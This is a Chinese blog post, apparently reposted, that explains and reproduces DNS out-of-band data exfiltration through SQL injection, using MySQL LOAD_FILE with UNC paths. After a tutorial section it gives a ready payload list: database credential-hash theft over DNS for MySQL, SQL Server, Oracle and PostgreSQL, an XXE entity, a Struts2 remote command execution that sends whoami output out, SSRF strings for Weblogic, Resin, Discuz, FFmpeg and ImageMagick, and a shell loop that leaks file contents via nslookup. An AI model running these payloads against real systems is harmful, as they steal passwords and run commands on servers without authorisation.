欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

数据库out_of_band攻击【原理分析、复现】

程序员文章站 2022-05-27 15:11:00
...

这个问题已经是去年提出的了,之前也看到过,在CTF题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。这里对原理进行一波总结,并利用了CEYE平台成功的进行了原理复现利用。
博客原文地址:http://blog.csdn.net/wy_97/article/details/79094001

原理分析

这个虽然是利用到了比如说mysql的LOAD_FILE函数,其实本质还是对window的资源管理器的一个利用,利用协议//去进行一个子域名的DNS解析,将你需要的(你取得的一些有用信息当做子域名信息给传递出来)
先了解下DNS解析的基本原理吧

一张图解释DNS查询

数据库out_of_band攻击【原理分析、复现】
下面来详细解释DNS域名解析的过程:

  1. 网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时,你使用的电脑会发出一个DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。

  2. 查询www.163.com的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。

  3. 根DNS服务器没有记录具体的域名和IP地址的对应关系,而是告诉本地DNS服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。

  4. 本地DNS服务器继续向域服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,你的域名的解析服务器的地址。

  5. 最后,本地DNS服务器向域名的解析服务器发出请求,这时就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。

总结:当你查询abc.hack.com这个子域名时,dns服务器hack.com会收到你的解析请求,这里就是out_of_band利用的原理了

windows资源管理器角度

为什么我说这是对windows资源管理器的利用,这里进行演示
当你在资源管理器地址栏输入:

\\test.u0ocor.ceye.io\\abc
#u0ocor.ceye.io是我申请账号的dns解析服务器地址

你的测试账号服务器就会收到DNS解析请求,并记录(资源管理器这里不好截图)
数据库out_of_band攻击【原理分析、复现】

数据库漏洞复现

当你存在注入点的时候,如果这个查询并不会对你进行一个回显,这个out_of_band就非常有用了,这里并未进行后端查询代码的设计了,直接从数据库开始
测试环境:

机器 操作系统 配置
A机 win7 mysql环境,对secure进行了修改
B机 win10 mysql环境,未对secure进行了修改

参数secure_file_priv

这个参数是全局变量,可以通过下列语句进行查询:

A机
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
|                    |
+--------------------+
1 row in set (0.00 sec)
B机
mysql> select @@secure_file_priv;
+------------------------------------------------+
| @@secure_file_priv                             |
+------------------------------------------------+
| C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ |
+------------------------------------------------+

解释:
这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

  • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
  • 如果变量为空,则不会产生影响,引起不安全的配置。
  • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。(根据两台测试机器不同版本的mysql来判断,会默认为mysql的一个/upload根目录下)
补充一下两个机器的mysql版本:

A机
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.7.19    |
+-----------+
1 row in set (0.00 sec)
B机
mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.7.17-log |
+------------+
1 row in set (0.00 sec)

复现

在满足上述全局变量的条件***意四个点:

  • 最大查询长度问题,文件的大小限制
  • 文件编码是否和数据库相同
  • 绝对路径需要使用//
  • 子域名最大长度问题,DNS规定,域名中的标号都由英文字母和数字组成,每一个标号不超过63个字符,也不区分大小写字母。标号中除连字符(-)外不能使用其他的标点符号。

下面进行演示:

A机:
mysql> use test;
Database changed
mysql> select * from test;
+------+----------+
| name | password |
+------+----------+
| abc  | 123456   |
+------+----------+
1 row in set (0.01 sec)

mysql> SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.
io\\abc'));
^C -- query aborted
+------------------------------------------------------------------------------+

| LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.io\\abc')) |

+------------------------------------------------------------------------------+

+------------------------------------------------------------------------------+

1 row in set (21.19 sec)

效果如图:
数据库out_of_band攻击【原理分析、复现】

B机
mysql> select load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc'));
+-----------------------------------------------------------------------------------------------------------------------------+
| load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc')) |
+-----------------------------------------------------------------------------------------------------------------------------+
| NULL                                                                                                                        |
+-----------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

数据库out_of_band攻击【原理分析、复现】
至于能用来读取什么文件,或者是查询什么数据就看具体情况和具体需求了,读文件需要考虑文件权限,编码等等问题

漏洞限制

  • 限制在windows系统,因为原理是利用了load_file在windows中读取文件利用到了资源管理器(可能不准确,未具体研究,但是能和资源管理器进行相同一个DNS查询操作,这个官方文档中并未提及)
  • 在mysql5.5.53之前,参数secure_file_priv一直是为空可以任意进行读取,在我的测试中,之后的mysql版本已经对此有所限制(目录限制,没法随意读取文件)
  • 漏洞的利用点不一定停留在数据库(更不限于mysql),如果你能换起windows的资源管理器,就可以成功利用这个dns通道查询传输信息

一些payload

windows

ping %USERNAME%.u0ocor.ceye.io


SQL Server

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.u0ocor.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.u0ocor.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.u0ocor.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.u0ocor.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.u0ocor.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.u0ocor.ceye.io',80) FROM DUAL;

MySQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.u0ocor.ceye.io\\abc'));

PostgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.u0ocor.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.u0ocor.ceye.io/xxe_test">
%remote;]>
<root/>

Struts2

xx.action?redirect:http://ip.port.u0ocor.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.u0ocor.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.u0ocor.ceye.io
#EXT-X-ENDLIST

Weblogic

 xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.u0ocor.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.u0ocor.ceye.io)'
pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.u0ocor.ceye.io/ssrf

Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.u0ocor.ceye.io/xx.jpg[/img]&formhash=xxoo

补充

从这个漏洞出发,拓展到任意主机上,这是一个利用dns进行内网穿透传输信息的技术,这可以应用于某些渗透场景~
用kali演示了一个小脚本


aaa@qq.com:~/Desktop# ./dns_file.sh
Server:     192.168.148.2
Address:    192.168.148.2#53

Non-authoritative answer:
Name:   Alice.u0ocor.ceye.io
Address: 118.192.48.48

Server:     192.168.148.2
Address:    192.168.148.2#53

Non-authoritative answer:
Name:   Bob.u0ocor.ceye.io
Address: 118.192.48.48

Server:     192.168.148.2
Address:    192.168.148.2#53

Non-authoritative answer:
Name:   John.u0ocor.ceye.io
Address: 118.192.48.48

aaa@qq.com:~/Desktop# cat test.txt
Alice
Bob
John
aaa@qq.com:~/Desktop# cat dns_file.sh
#!/bin/sh
for i in $(cat test.txt);
do
nslookup "$i"".u0ocor.ceye.io";
done

这里推荐一个工具:dnscat2,下载地址:https://github.com/iagox86/dnscat2
dnscat2提供客户端和服务端。
使用的条件:
1 一台vps
2 一个域名控制权限
3 一台内网权限

具体的使用可以结合着两篇博客进行学习,这里不做演示了
利用 DNS 隧道传递数据和命令来绕过防火墙
利用PowerShell和Dnscat2绕过防火墙

技术有限,如文中有理解错误的地方希望大家指出,我及时进行更正

相关标签: OUT_of_band